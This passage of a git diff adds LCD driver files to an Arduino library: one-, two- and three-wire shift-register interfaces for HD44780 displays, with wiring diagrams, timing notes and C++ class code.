SER|-14-------+--[ Resistor ]--+ +// (LCD D4)------------4-|QE /OE|-13--(GND) 1.5k | +// (BL Circuit)--------5-|QF RCK|-12-----+ | +// | | \ | +// (LCD RS)------------6-|QG SCK|-11-------)----------------+--(Serial PIN) +// | | | +// +-------7-|QH /CLR|-10-------)--+--[ Resistor ]--(VCC) +// | | | / | 1k +// | +--8-|GND Q'H|--9-----+ | +// | | +---------+ | | (GND)--(LCD RW) +// | | 0.1uF | \ +// | (GND)-----||----(VCC) +------)--------------(LCD EN) +// | | / +// |----|<|----+--[ Resistor ]--| | +// diode | 1k C +// | | +// +-------------+---B-|> (NPN) +// | | +// (2.2nF) = E +// | | +// (GND) (GND) +// +// +// SW_CLEAR version: (Lower part count but slower) +// ----------------------------------------------- +// +// 74HC595 (VCC) +// +----u----+ | 2.2nF +// (LCD D7)------------1-|QB VCC|-16--+ +----||----(GND) +// (LCD D6)------------2-|QC QA|-15 | +// (LCD D5)------------3-|QD SER|-14---------+--[ Resistor ]--+ +// (LCD D4)------------4-|QE /OE|-13--(GND) 1.5k | +// (BL Circuit)--------5-|QF RCK|-12---------+ | +// | | \ | +// (LCD RS)------------6-|QG SCK|-11-----------)--------------+--(Serial PIN) +// 7-|QH /CLR|-10--(VCC) / | +// +--8-|GND Q'H|--9---|<|---+--[ Resistor ]--+ +// | +---------+ diode | 1.5k +// | | +// | 0.1uF | +// (GND)-----||----(VCC) +----||----(GND) +// | 2.2nF +// (LCD EN)-------------------------------------+ +// (LCD RW)--(GND) +// +// +// In either case the LCD RW pin is hardwired to GND meaning we will only be able to write +// to the LCD. +// Therefore, the Busy Flag (BF, data bit D7) is not able to be read and we have to make use +// of the minimum delay time constraints. This isn't really a problem because it usually +// takes us longer to shift and latch the data than the minimum delay anyway. For now, we +// simply keep track of our delays and add more delay at the end to get to at least 37 uS. +// +// +// Backlight Control Circuit +// ------------------------- +// Since we are using the latching nature of the shift resiter we don't need the extra +// backlight circuitry that SR2W uses. Keeping it around, however, would still work because +// the circuit just slows down the transitions to the mosfet a bit. +// +// Here are two more optimized versions that can be used. +// +// +// NPN Transistor version: (Cheaper but more power draw and higher part count) +// --------------------------------------------------------------------------- +// +// (value depends on LCD, 100ohm is usually safe) +// (LCD BL anode)---[ resistor ]---(VCC) +// +// (LCD BL cathode)---------------+ +// | +// C +// | +// (BL input)--[ Resistor ]---B-|> (NPN) +// 1k | +// E +// | +// (GND) +// +// NOTE: The Bate resistor is needed because the NPN is current fed. For lower +// power draw, try a 10k resistor. +// +// +// N-CH Mosfet version: (More costly but less power draw and lower part count) +// --------------------------------------------------------------------------- +// +// (value depends on LCD, 100ohm is usually safe) +// (LCD BL anode)---[ resistor ]---(VCC) +// +// (LCD BL cathode)---------------+ +// | +// D +// | +// (BL input)----------------G-|-< (2N7000 FET) +// | +// S +// | +// (GND) +// +// NOTE: Gate resistor not needed because the mosfet is voltage fed and only really +// pulls current while switching. +// +// In either case, when the BL input is HIGH the LCD backlight will turn on. +// +// +// History +// 2013.07.31 serisman - fixed potential interrupt bug and made more performance optimizations +// 2013.07.10 serisman - more performance optimizations and modified the HW_CLEAR circuit a bit +// 2013.07.09 serisman - added an even faster version that performs the clear in hardware +// 2013.07.08 serisman - changed code to shift data MSB first to match SR2W +// 2013.07.07 serisman - major speed optimization +// 2013.07.06 serisman - created/modified from SR2W source to create SR1W +// @author S. Erisman - arduino@serisman.com +// -------------------------------------------------------------------------------- + +#ifndef _LIQUIDCRYSTAL_SR1W_ +#define _LIQUIDCRYSTAL_SR1W_ + +#include +#include "LCD.h" +#include "FastIO.h" + +// 1-wire SR timing constants +// --------------------------------------------------------------------------- + +// NOTE: +// The 1.5k resistor (1.2k - 1.8k with a 20% tolerance) +// takes between 2.376uS and 4.36uS to fully charge or discharge +// the 2.2n capacitor (1.98n - 2.42n with a 10% tolerance). +// We round this up to a 5uS delay to provide an additional safety margin. + +#define SR1W_DELAY_US 5 +#define SR1W_DELAY() { delayMicroseconds(SR1W_DELAY_US); numDelays++; } + +// 1-wire SR output bit constants +// --------------------------------------------------------------------------- + +#define SR1W_UNUSED_MASK 0x01 // Set unused bit(s) to '1' as they are slightly faster to clock in. +#define SR1W_D7_MASK 0x02 +#define SR1W_D6_MASK 0x04 +#define SR1W_D5_MASK 0x08 +#define SR1W_D4_MASK 0x10 +#define SR1W_BL_MASK 0x20 +#define SR1W_RS_MASK 0x40 +#define SR1W_EN_MASK 0x80 // This cannot be changed. It has to be the first thing shifted in. + +#define SR1W_ATOMIC_WRITE_LOW(reg, mask) ATOMIC_BLOCK(ATOMIC_RESTORESTATE) { *reg &= ~mask; } +#define SR1W_ATOMIC_WRITE_HIGH(reg, mask) ATOMIC_BLOCK(ATOMIC_RESTORESTATE) { *reg |= mask; } + + +typedef enum { SW_CLEAR, HW_CLEAR } t_sr1w_circuitType; + +class LiquidCrystal_SR1W : public LCD +{ +public: + /*! + @method + @abstract LCD 1 wire SHIFT REGISTER constructor. + @discussion Defines the pin assignments that connect to the shift register. + The constructor does not initialize the LCD. Assuming 1 line 8 pixel high + font. + + @param srdata[in] Arduino pin for shift register. + @param circuitType[in] optionally select an alternate circuit type + @param blpol[in] optional backlight polarity (default = POSITIVE) + */ + LiquidCrystal_SR1W (uint8_t srdata, t_sr1w_circuitType circuitType, + t_backlighPol blpol = POSITIVE); + + /*! + @function + @abstract Send a particular value to the LCD. + @discussion Sends a particular value to the LCD for writing to the LCD or + as an LCD command using the shift register. + + Users should never call this method. + + @param value[in] Value to send to the LCD. + @param mode[in] DATA=8bit data, COMMAND=8bit cmd, FOUR_BITS=4bit cmd + the LCD. + */ + virtual void send(uint8_t value, uint8_t mode); + + + /*! + @function + @abstract Switch-on/off the LCD backlight. + @discussion Switch-on/off the LCD backlight. + The setBacklightPin has to be called before setting the backlight for + this method to work. @see setBacklightPin. + + @param mode[in] backlight mode (0 off, non-zero on) + */ + void setBacklight ( uint8_t mode ); + +private: + + /*! + @method + @abstract Initializes the LCD pin allocation + @discussion Initializes the LCD pin allocation and configuration. + */ + void init ( uint8_t srdata, t_sr1w_circuitType circuitType, t_backlighPol blpol, + uint8_t lines, uint8_t font ); + + /*! + @method + @abstract Clears the shift register to ensure the Latch/Enable pins aren't + triggered accidentally. + */ + uint8_t clearSR (); + + /*! + * @method + * @abstract takes care of shifting and the enable pulse + */ + uint8_t loadSR (uint8_t val); + + fio_register _srRegister; // Serial PIN + fio_bit _srMask; + + t_sr1w_circuitType _circuitType; + + uint8_t _blPolarity; + uint8_t _blMask; +}; +#endif \ No newline at end of file diff --git a/libraries/NewliquidCrystal/LiquidCrystal_SR2W.cpp b/libraries/NewliquidCrystal/LiquidCrystal_SR2W.cpp new file mode 100644 index 0000000..df4559a --- /dev/null +++ b/libraries/NewliquidCrystal/LiquidCrystal_SR2W.cpp @@ -0,0 +1,135 @@ +// --------------------------------------------------------------------------- +// Created/Adapted by Bill Perry 2012-03-16 +// Copyright 2012 - Under creative commons license 3.0: +// Attribution-ShareAlike CC BY-SA +// +// This software is furnished "as is", without technical support, and with no +// warranty, express or implied, as to its usefulness for any purpose. +// +// Thread Safe: No +// Extendable: Yes +// +// @file LiquidCrystal_SR2W.cpp +// Connects a hd44780 LCD using 2 pins from the Arduino, via an 8-bit +// ShiftRegister (SR2W from now on). +// +// @brief +// This is a port of the ShiftRegLCD library from raron and ported to the +// LCD library. +// +// +// See the corresponding SR2W header file for full details. +// +// History +// 2012.03.29 bperrybap - Fixed incorrect use of 5x10 for default font +// (now matches original LQ library) +// Fixed typo in SR2W mask define names +// changed default backlight state to on +// 2012.03.16 bperrybap - created/modified from SR sources to create SR2W +// @author B. Perry - bperrybap@opensource.billsworld.billandterrie.com +// --------------------------------------------------------------------------- + +#include "LiquidCrystal_SR2W.h" + +// CONSTRUCTORS +// --------------------------------------------------------------------------- +// Assuming 1 line 8 pixel high font +LiquidCrystal_SR2W::LiquidCrystal_SR2W (uint8_t srdata, uint8_t srclock, t_backlighPol blpol) +{ + init ( srdata, srclock, blpol, 1, 0 ); +} + + +// PRIVATE METHODS +// --------------------------------------------------------------------------- + +// +// init +void LiquidCrystal_SR2W::init(uint8_t srdata, uint8_t srclock, t_backlighPol blpol, uint8_t lines, uint8_t font) +{ + _srDataRegister = fio_pinToOutputRegister(srdata); + _srDataMask = fio_pinToBit(srdata); + _srClockRegister = fio_pinToOutputRegister(srclock); + _srClockMask = fio_pinToBit(srclock); + + _blPolarity = blpol; + + _displayfunction = LCD_4BITMODE | LCD_1LINE | LCD_5x8DOTS; + + backlight(); // set default backlight state to on +} + +// +// loadSR +void LiquidCrystal_SR2W::loadSR(uint8_t val) +{ + // Clear to keep Enable LOW while clocking in new bits + fio_shiftOut(_srDataRegister, _srDataMask, _srClockRegister, _srClockMask); + + + // clock out SR data byte + fio_shiftOut(_srDataRegister, _srDataMask, _srClockRegister, _srClockMask, val, MSBFIRST); + + + // strobe LCD enable which can now be toggled by the data line + ATOMIC_BLOCK(ATOMIC_RESTORESTATE) + { + fio_digitalWrite_HIGH(_srDataRegister, _srDataMask); + waitUsec (1); // enable pulse must be >450ns + fio_digitalWrite_SWITCHTO(_srDataRegister, _srDataMask, LOW); + } // end critical section +} + +// PUBLIC METHODS +// --------------------------------------------------------------------------- + + +/************ low level data pushing commands **********/ +// +// send +void LiquidCrystal_SR2W::send(uint8_t value, uint8_t mode) +{ + uint8_t myMode = ( mode == DATA ) ? SR2W_RS_MASK : 0; + + myMode = myMode | SR2W_EN_MASK | _blMask; + + if ( mode != FOUR_BITS ) + { + loadSR(myMode | ((value >> 1) & SR2W_DATA_MASK)); // upper nibble + } + + loadSR(myMode | ((value << 3) & SR2W_DATA_MASK)); // lower nibble + + /* + * Don't call waitUsec() + * do our own delay optmization since this code is so fast it needs some added delay + * even on slower AVRs. + */ +#if (F_CPU <= 16000000) + delayMicroseconds ( 10 ); // commands & data writes need > 37us to complete +#else + delayMicroseconds ( 37 ); // commands & data writes need > 37us to complete +#endif +} + +// +// setBacklight +void LiquidCrystal_SR2W::setBacklight ( uint8_t value ) +{ + // Check for polarity to configure mask accordingly + // ---------------------------------------------------------- + if ( ((_blPolarity == POSITIVE) && (value > 0)) || + ((_blPolarity == NEGATIVE ) && ( value == 0 )) ) + { + _blMask = SR2W_BL_MASK; + } + else + { + _blMask = 0; + } + + // send dummy data of blMask to set BL pin + // Note: loadSR() will strobe the data line trying to pulse EN + // but E will not strobe because the EN output bit is not set. + loadSR(_blMask); +} diff --git a/libraries/NewliquidCrystal/LiquidCrystal_SR2W.h b/libraries/NewliquidCrystal/LiquidCrystal_SR2W.h new file mode 100644 index 0000000..2bccb87 --- /dev/null +++ b/libraries/NewliquidCrystal/LiquidCrystal_SR2W.h @@ -0,0 +1,202 @@ +// --------------------------------------------------------------------------- +// Created/Adapted by Bill Perry 2012-03-16 +// Copyright 2012 - Under creative commons license 3.0: +// Attribution-ShareAlike CC BY-SA +// +// This software is furnished "as is", without technical support, and with no +// warranty, express or implied, as to its usefulness for any purpose. +// +// @file LiquidCrystal_SR2W.h +// Connects a hd44780 LCD using 2 pins from the Arduino, via an 8-bit +// ShiftRegister (SR2W from now on). +// +// @brief +// This is the 2 wire shift register interface class for the LCD library +// +// The functionality provided by this class and its base class is a superset of +// the original functionality of the Arduino LiquidCrystal library and can +// be used as such. +// See the LCD class for a full description of the API functions available. +// +// It works with a 8-bit unlatched, no-tristate, unidirectional SIPO (Serial-In-Parallel-Out) +// shift register (IE a very simple SR), and an hd44780 LCD in 4-bit mode. +// Any such shift register should do (pref. 74LS family IC's for 2-wire). +// 74LS164 and 74HC595 have been exstensively tested. +// +// +// 2 Pins required from the Arduino: +// - Data/Enable +// - Clock +// The Data pin is also used to control the enable signal +// LCD RW-pin hardwired to LOW (only writing to LCD). +// Busy Flag (BF, data bit D7) is not read. +// +// Original project homepage: http://code.google.com/p/arduinoshiftreglcd/ +// +// Shift register bits +// Bit #0 - (cannot be used on 74HC595) +// Bit #1 - optional backlight control +// Bit #2 - connects to RS (Register Select) on the LCD +// Bit #3 - connects to LCD data inputs D4 +// Bit #4 - connects to LCD data inputs D5 +// Bit #5 - connects to LCD data inputs D6 +// Bit #6 - connects to LCD data inputs D7 +// Bit #7 - enables the LCD enable-puls (via the diode-resistor AND "gate") +// +// Wiring for a 74LS164 +// --------------------- +// 1k/4.7k +// +--------[ Resistor ]--------+---(LCD Enable) +// | | +// | 74LS164 (VCC) | +// | +----u----+ | _V_ diode +// (data pin)---+---+--1-|A VCC|-14-+ | +// | | | | +// +--2-|B Q7|-13------+ +// 3-|Q0 Q6|-12--(LCD D7) +// (BL Circuit)--------4-|Q1 Q5|-11--(LCD D6) +// (LCD RS)------------5-|Q2 Q4|-10--(LCD D5) +// (LCD D4)------------6-|Q3 /MR|--9--(VCC) +// +-7-|GND CP|--8--(clock pin) +// | +---------+ +// | 0.1uf +// (gnd)-----||----(vcc) +// +// Wiring for a 74HC595 +// -------------------- +// NOTE: the 74HC595 is a latching shift register. In order to get it to operate +// in a "non latching" mode, RCLK and SCLK are tied together. The side effect of this +// is that the latched output is one clock behind behind the internal shift register bits. +// To compensate for this the wiring is offset by one bit position lower. +// For example, while the backlight is hooked to Q0 it is still using bit 1 of +// of the shift register because the outputs are 1 clock behind the real internal shift +// register. +// +// 74HC595 (VCC) +// +----u----+ | +-----------------------(BL circuit) +// (LCD RS)------------1-|Q1 VCC|-16-+ | +--------------------(data pin) +// (LCD D4)------------2-|Q2 Q0|-15----+ | 1k/4.7k +// (LCD D5)------------3-|Q3 SER|-14-------+---[ Resistor ]--+--(LCD Enable) +// (LCD D6)------------4-|Q4 /OE|-13--(gnd) | +// (LCD D7)------------5-|Q5 RCLK|-12-------+ | +// | | | | +// +------6-|Q6 SCLK|-11-------+--(clock pin) | +// | 7-|Q7 /MR|-10--(VCC) | +// | +-8-|GND Q6'|--9 | +// | | +---------+ diode _V_ +// | | 0.1uf | +// | (gnd)-----||----(vcc) | +// +-----------------------------------------------+ +// +// +// Backlight Control circuit +// ------------------------- +// Because the shift resiter is not latching the outputs, the backlight circuitry +// will "see" the output bits as they are shifted into the shift register which +// can cause the backlight to flicker rather than remain constantly on/off. +// The circuit below slows down the transitions to the transistor to remove +// the visible flicker. When the BL input is HIGH the LCD backlight will turn on. +// +// (value depends on LCD, 100ohm is usually safe) +// (LCD BL anode)---[ resistor ]---(vcc) +// +// (LCD BL cathode)-------------------------------+ +// | +// D +// | +// (BL input)----[ 4.7k Resistor ]----+-------G-|-< (2N7000 FET) +// | | +// (0.1uf) = S +// | | +// (gnd) (gnd) +// +// +// +// +// History +// 2012.03.16 bperrybap - creation/adaption from SR header to create SR2W header. +// Fixed typo in SR2W mask define names +// @author B. Perry - bperrybap@opensource.billsworld.billandterrie.com +// -------------------------------------------------------------------------------- +#ifndef _LIQUIDCRYSTAL_SR2W_ +#define _LIQUIDCRYSTAL_SR2W_ + +#include +#include "LCD.h" +#include "FastIO.h" + + +// two-wire SR output bit constants +// --------------------------------------------------------------------------- + +#define SR2W_BL_MASK 0x02 +#define SR2W_RS_MASK 0x04 +#define SR2W_DATA_MASK 0x78 // data bits are hard coded to be SR bits 6,5,4,3 +#define SR2W_EN_MASK 0x80 // cannot ever be changed + +class LiquidCrystal_SR2W : public LCD +{ +public: + /*! + @method + @abstract LCD 2 wire SHIFT REGISTER constructor. + @discussion Defines the pin assignments that connect to the shift register. + The constructor does not initialize the LCD. Assuming 1 line 8 pixel high + font. + + @param srdata[in] Arduino pin for shift register data line. + @param srclock[in] Arduino pin for shift register clock line. + @param blpol[in] optional backlight polarity (default = POSITIVE) + */ + LiquidCrystal_SR2W (uint8_t srdata, uint8_t srclock, t_backlighPol blpol = POSITIVE); + + /*! + @function + @abstract Send a particular value to the LCD. + @discussion Sends a particular value to the LCD for writing to the LCD or + as an LCD command using the shift register. + + Users should never call this method. + + @param value[in] Value to send to the LCD. + @param mode[in] DATA=8bit data, COMMAND=8bit cmd, FOUR_BITS=4bit cmd + the LCD. + */ + virtual void send(uint8_t value, uint8_t mode); + + + /*! + @function + @abstract Switch-on/off the LCD backlight. + @discussion Switch-on/off the LCD backlight. + The setBacklightPin has to be called before setting the backlight for + this method to work. @see setBacklightPin. + + @param mode[in] backlight mode (0 off, non-zero on) + */ + void setBacklight ( uint8_t mode ); + +private: + + /*! + @method + @abstract Initializes the LCD pin allocation + @discussion Initializes the LCD pin allocation and configuration. + */ + void init ( uint8_t srdata, uint8_t srclock, t_backlighPol blpol, uint8_t lines, uint8_t font ); + + /*! + * @method + * @abstract takes care of shifting and the enable pulse + */ + void loadSR (uint8_t val); + + fio_register _srDataRegister; // Serial Data pin + fio_bit _srDataMask; + fio_register _srClockRegister; // Clock Pin + fio_bit _srClockMask; + + uint8_t _blPolarity; + uint8_t _blMask; +}; +#endif diff --git a/libraries/NewliquidCrystal/LiquidCrystal_SR3W.cpp b/libraries/NewliquidCrystal/LiquidCrystal_SR3W.cpp new file mode 100644 index 0000000..6144c06 --- /dev/null +++ b/libraries/NewliquidCrystal/LiquidCrystal_SR3W.cpp @@ -0,0 +1,283 @@ +// --------------------------------------------------------------------------- +// Created by Francisco Malpartida on 7.3.2012. +// Copyright 2011 - Under creative commons license 3.0: +// Attribution-ShareAlike CC BY-SA +// +// This software is furnished "as is", without technical support, and with no +// warranty, express or implied, as to its usefulness for any purpose. +// +// Thread Safe: No +// Extendable: Yes +// +// @file LiquidCrystal_SRG.h +// This file implements a basic liquid crystal library that comes as standard +// in the Arduino SDK but using a generic SHIFT REGISTER extension board. +// +// @brief +// This is a basic implementation of the LiquidCrystal library of the +// Arduino SDK. The original library has been reworked in such a way that +// this class implements the all methods to command an LCD based +// on the Hitachi HD44780 and compatible chipsets using a 3 wire latching +// shift register. While it has been tested with a 74HC595N shift register +// it should also work with other latching shift registers such as the MC14094 +// and the HEF4094 +// +// This particular driver has been created as generic as possible to enable +// users to configure and connect their LCDs using just 3 digital IOs from the +// AVR or Arduino, and connect the LCD to the outputs of the shiftregister +// in any configuration. The library is configured by passing the IO pins +// that control the strobe, data and clock of the shift register and a map +// of how the shiftregister is connected to the LCD. +// +// +// +--------------------------------------------+ +// | MCU | +// | IO1 IO2 IO3 | +// +----+-------------+-------------+-----------+ +// | | | +// | | | +// +----+-------------+-------------+-----------+ +// | Strobe Data Clock | +// | 8-bit shift/latch register | 74HC595N +// | Qa0 Qb1 Qc2 Qd3 Qe4 Qf5 Qg6 Qh7 | +// +----+----+----+----+----+----+----+----+----+ +// | | | | | | | +// |11 |12 |13 |14 |6 |5 |4 (LCD pins) +// +----+----+----+----+----+----+----+----+----+ +// | DB4 DB5 DB6 DB7 E Rw RS | +// | LCD Module | +// +// NOTE: Rw is not used by the driver so it can be connected to GND. +// +// The functionality provided by this class and its base class is identical +// to the original functionality of the Arduino LiquidCrystal library. +// +// +// History +// 2012.03.29 bperrybap - fixed constructors not properly using Rs +// Fixed incorrect use of 5x10 for default font +// - now matches original LQ library. +// moved delay to send() so it is per cmd/write vs shiftout() +// NOTE: delay is on hairy edge of working when FAST_MODE is on. +// because of waitUsec(). +// There is margin at 16Mhz AVR but might fail on 20Mhz AVRs. +// +// @author F. Malpartida - fmalpartida@gmail.com +// --------------------------------------------------------------------------- +// flags for backlight control +#include +#include +#include + +#if (ARDUINO < 100) +#include +#else +#include +#endif +#include "LiquidCrystal_SR3W.h" + +#include "FastIO.h" + +/*! + @defined + @abstract LCD_NOBACKLIGHT + @discussion No BACKLIGHT MASK + */ +#define LCD_NOBACKLIGHT 0x00 + +/*! + @defined + @abstract LCD_BACKLIGHT + @discussion BACKLIGHT MASK used when backlight is on + */ +#define LCD_BACKLIGHT 0xFF + + +// Default library configuration parameters used by class constructor with +// only the I2C address field. +// --------------------------------------------------------------------------- +/*! + @defined + @abstract Enable bit of the LCD + @discussion Defines the IO of the expander connected to the LCD's Enable + */ +#define EN 4 // Enable bit + +/*! + @defined + @abstract Read/Write bit of the LCD + @discussion Defines the IO of the expander connected to the LCD's Rw pin + */ +#define RW 5 // Read/Write bit + +/*! + @defined + @abstract Register bit of the LCD + @discussion Defines the IO of the expander connected to the LCD's Register select pin + */ +#define RS 6 // Register select bit + +/*! + @defined + @abstract LCD dataline allocation this library only supports 4 bit LCD control + mode. + @discussion D4, D5, D6, D7 LCD data lines pin mapping of the extender module + */ +#define D4 0 +#define D5 1 +#define D6 2 +#define D7 3 + + + +LiquidCrystal_SR3W::LiquidCrystal_SR3W(uint8_t data, uint8_t clk, uint8_t strobe) +{ + init( data, clk, strobe, RS, RW, EN, D4, D5, D6, D7 ); +} + +LiquidCrystal_SR3W::LiquidCrystal_SR3W(uint8_t data, uint8_t clk, uint8_t strobe, + uint8_t backlighPin, t_backlighPol pol) +{ + init( data, clk, strobe, RS, RW, EN, D4, D5, D6, D7 ); + setBacklightPin(backlighPin, pol); +} + +LiquidCrystal_SR3W::LiquidCrystal_SR3W(uint8_t data, uint8_t clk, uint8_t strobe, + uint8_t En, uint8_t Rw, uint8_t Rs, + uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7 ) +{ + init( data, clk, strobe, Rs, Rw, En, d4, d5, d6, d7 ); +} + +LiquidCrystal_SR3W::LiquidCrystal_SR3W(uint8_t data, uint8_t clk, uint8_t strobe, + uint8_t En, uint8_t Rw, uint8_t Rs, + uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, + uint8_t backlighPin, t_backlighPol pol) +{ + init( data, clk, strobe, Rs, Rw, En, d4, d5, d6, d7 ); + setBacklightPin(backlighPin, pol); +} + + +void LiquidCrystal_SR3W::send(uint8_t value, uint8_t mode) +{ + + if ( mode != FOUR_BITS ) + { + write4bits( (value >> 4), mode ); // upper nibble + } + write4bits( (value & 0x0F), mode); // lower nibble + + +#if (F_CPU <= 16000000) + // No need to use the delay routines on AVR since the time taken to write + // on AVR with SR pin mapping even with fio is longer than LCD command execution. + waitUsec(37); //goes away on AVRs +#else + delayMicroseconds ( 37 ); // commands & data writes need > 37us to complete +#endif + +} + + +void LiquidCrystal_SR3W::setBacklightPin ( uint8_t value, t_backlighPol pol = POSITIVE ) +{ + _backlightPinMask = ( 1 << value ); + _backlightStsMask = LCD_NOBACKLIGHT; + _polarity = pol; + setBacklight (BACKLIGHT_OFF); // Set backlight to off as initial setup +} + +void LiquidCrystal_SR3W::setBacklight ( uint8_t value ) +{ + // Check if backlight is available + // ---------------------------------------------------- + if ( _backlightPinMask != 0x0 ) + { + // Check for polarity to configure mask accordingly + // ---------------------------------------------------------- + if (((_polarity == POSITIVE) && (value > 0)) || + ((_polarity == NEGATIVE ) && ( value == 0 ))) + { + _backlightStsMask = _backlightPinMask & LCD_BACKLIGHT; + } + else + { + _backlightStsMask = _backlightPinMask & LCD_NOBACKLIGHT; + } + loadSR( _backlightStsMask ); + } +} + + +// PRIVATE METHODS +// ----------------------------------------------------------------------------- + +int LiquidCrystal_SR3W::init(uint8_t data, uint8_t clk, uint8_t strobe, + uint8_t Rs, uint8_t Rw, uint8_t En, + uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7) +{ + _data = fio_pinToBit(data); + _clk = fio_pinToBit(clk); + _strobe = fio_pinToBit(strobe); + _data_reg = fio_pinToOutputRegister(data); + _clk_reg = fio_pinToOutputRegister(clk); + _strobe_reg = fio_pinToOutputRegister(strobe); + + // LCD pin mapping + _backlightPinMask = 0; + _backlightStsMask = LCD_NOBACKLIGHT; + _polarity = POSITIVE; + + _En = ( 1 << En ); + _Rw = ( 1 << Rw ); + _Rs = ( 1 << Rs ); + + // Initialise pin mapping + _data_pins[0] = ( 1 << d4 ); + _data_pins[1] = ( 1 << d5 ); + _data_pins[2] = ( 1 << d6 ); + _data_pins[3] = ( 1 << d7 ); + + _displayfunction = LCD_4BITMODE | LCD_1LINE | LCD_5x8DOTS; + + return (1); +} + +void LiquidCrystal_SR3W::write4bits(uint8_t value, uint8_t mode) +{ + uint8_t pinMapValue = 0; + + // Map the value to LCD pin mapping + // -------------------------------- + for ( uint8_t i = 0; i < 4; i++ ) + { + if ( ( value & 0x1 ) == 1 ) + { + pinMapValue |= _data_pins[i]; + } + value = ( value >> 1 ); + } + + // Is it a command or data + // ----------------------- + mode = ( mode == DATA ) ? _Rs : 0; + + pinMapValue |= mode | _backlightStsMask; + loadSR ( pinMapValue | _En ); // Send with enable high + loadSR ( pinMapValue); // Send with enable low +} + + +void LiquidCrystal_SR3W::loadSR(uint8_t value) +{ + // Load the shift register with information + fio_shiftOut(_data_reg, _data, _clk_reg, _clk, value, MSBFIRST); + + // Strobe the data into the latch + ATOMIC_BLOCK(ATOMIC_RESTORESTATE) + { + fio_digitalWrite_HIGH(_strobe_reg, _strobe); + fio_digitalWrite_SWITCHTO(_strobe_reg, _strobe, LOW); + } +} diff --git a/libraries/NewliquidCrystal/LiquidCrystal_SR3W.h b/libraries/NewliquidCrystal/LiquidCrystal_SR3W.h new file mode 100644 index 0000000..fccaa98 --- /dev/null +++ b/libraries/NewliquidCrystal/LiquidCrystal_SR3W.h @@ -0,0 +1,204 @@ +// --------------------------------------------------------------------------- +// Created by Francisco Malpartida on 7.3.2012. +// Copyright 2011 - Under creative commons license 3.0: +// Attribution-ShareAlike CC BY-SA +// +// This software is furnished "as is", without technical support, and with no +// warranty, express or implied, as to its usefulness for any purpose. +// +// Thread Safe: No +// Extendable: Yes +// +// @file LiquidCrystal_SR3W.h +// This file implements a basic liquid crystal library that comes as standard +// in the Arduino SDK but using a generic SHIFT REGISTER extension board. +// +// @brief +// This is a basic implementation of the LiquidCrystal library of the +// Arduino SDK. The original library has been reworked in such a way that +// this class implements the all methods to command an LCD based +// on the Hitachi HD44780 and compatible chipsets using a 3 wire latching +// shift register. While it has been tested with a 74HC595N shift register +// it should also work with other latching shift registers such as the MC14094 +// and the HEF4094 +// +// This particular driver has been created as generic as possible to enable +// users to configure and connect their LCDs using just 3 digital IOs from the +// AVR or Arduino, and connect the LCD to the outputs of the shiftregister +// in any configuration. The library is configured by passing the IO pins +// that control the strobe, data and clock of the shift register and a map +// of how the shiftregister is connected to the LCD. +// +// +// +--------------------------------------------+ +// | MCU | +// | IO1 IO2 IO3 | +// +----+-------------+-------------+-----------+ +// | | | +// | | | +// +----+-------------+-------------+-----------+ +// | Strobe Data Clock | +// | 8-bit shift/latch register | 74HC595N +// | Qa0 Qb1 Qc2 Qd3 Qe4 Qf5 Qg6 Qh7 | +// +----+----+----+----+----+----+----+----+----+ +// | | | | | | | +// |11 |12 |13 |14 |6 |5 |4 (LCD pins) +// +----+----+----+----+----+----+----+----+----+ +// | DB4 DB5 DB6 DB7 E Rw RS | +// | LCD Module | +// +// NOTE: Rw is not used by the driver so it can be connected to GND. +// +// The functionality provided by this class and its base class is identical +// to the original functionality of the Arduino LiquidCrystal library. +// +// +// @author F. Malpartida - fmalpartida@gmail.com +// --------------------------------------------------------------------------- +#ifndef _LIQUIDCRYSTAL_SR3W_H_ +#define _LIQUIDCRYSTAL_SR3W_H_ + +#include +#include "LCD.h" +#include "FastIO.h" + + +class LiquidCrystal_SR3W : public LCD +{ +public: + + /*! + @method + @abstract Class constructor. + @discussion Initializes class variables and defines the IO driving the + shift register. The constructor does not initialize the LCD. + Default configuration: + Shift register LCD + QA - 0 DB4 + QB - 1 DB5 + QC - 2 DB6 + QD - 3 DB7 + QE - 4 E + QF - 5 + QG - 6 Rs + GND Rw + + @param strobe[in] digital IO connected to shiftregister strobe pin. + @param data[in] digital IO connected to the shiftregister data pin. + @param clk[in] digital IO connected to the shiftregister clock pin. + */ + LiquidCrystal_SR3W(uint8_t data, uint8_t clk, uint8_t strobe); + // Constructor with backlight control + LiquidCrystal_SR3W(uint8_t data, uint8_t clk, uint8_t strobe, + uint8_t backlighPin, t_backlighPol pol); + + /*! + @method + @abstract Class constructor. + @discussion Initializes class variables and defines the control lines of + the LCD and the shiftregister. The constructor does not initialize the LCD. + + @param strobe[in] digital IO connected to shiftregister strobe pin. + @param data[in] digital IO connected to shiftregister data pin. + @param clk[in] digital IO connected to shiftregister clock pin. + @param En[in] LCD En (Enable) pin connected to SR output pin. + @param Rw[in] LCD Rw (Read/write) pin connected to SR output pin. + @param Rs[in] LCD Rs (Reg Select) pin connected to SR output pin. + @param d4[in] LCD data 4 pin map to the SR output pin. + @param d5[in] LCD data 5 pin map to the SR output pin. + @param d6[in] LCD data 6 pin map to the SR output pin. + @param d7[in] LCD data 7 pin map to the SR output pin. + */ + LiquidCrystal_SR3W(uint8_t data, uint8_t clk, uint8_t strobe, + uint8_t En, uint8_t Rw, uint8_t Rs, + uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7 ); + // Constructor with backlight control + LiquidCrystal_SR3W( uint8_t data, uint8_t clk, uint8_t strobe, + uint8_t En, uint8_t Rw, uint8_t Rs, + uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, + uint8_t backlighPin, t_backlighPol pol); + + /*! + @function + @abstract Send a particular value to the LCD. + @discussion Sends a particular value to the LCD for writing to the LCD or + as an LCD command. + + Users should never call this method. + + @param value[in] Value to send to the LCD. + @param mode[in] DATA - write to the LCD CGRAM, COMMAND - write a + command to the LCD. + */ + virtual void send(uint8_t value, uint8_t mode); + + /*! + @function + @abstract Sets the pin to control the backlight. + @discussion Sets the pin in the device to control the backlight. This device + doesn't support dimming backlight capability. + + @param value: pin mapped on the 74HC595N (0, .., 7) for (Qa0, .., Qh7) + respectively. + @param pol: polarity POSITIVE|NEGATIVE. + */ + void setBacklightPin ( uint8_t value, t_backlighPol pol ); + + /*! + @function + @abstract Switch-on/off the LCD backlight. + @discussion Switch-on/off the LCD backlight. + The setBacklightPin has to be called before setting the backlight for + this method to work. @see setBacklightPin. + + @param value: backlight mode (HIGH|LOW) 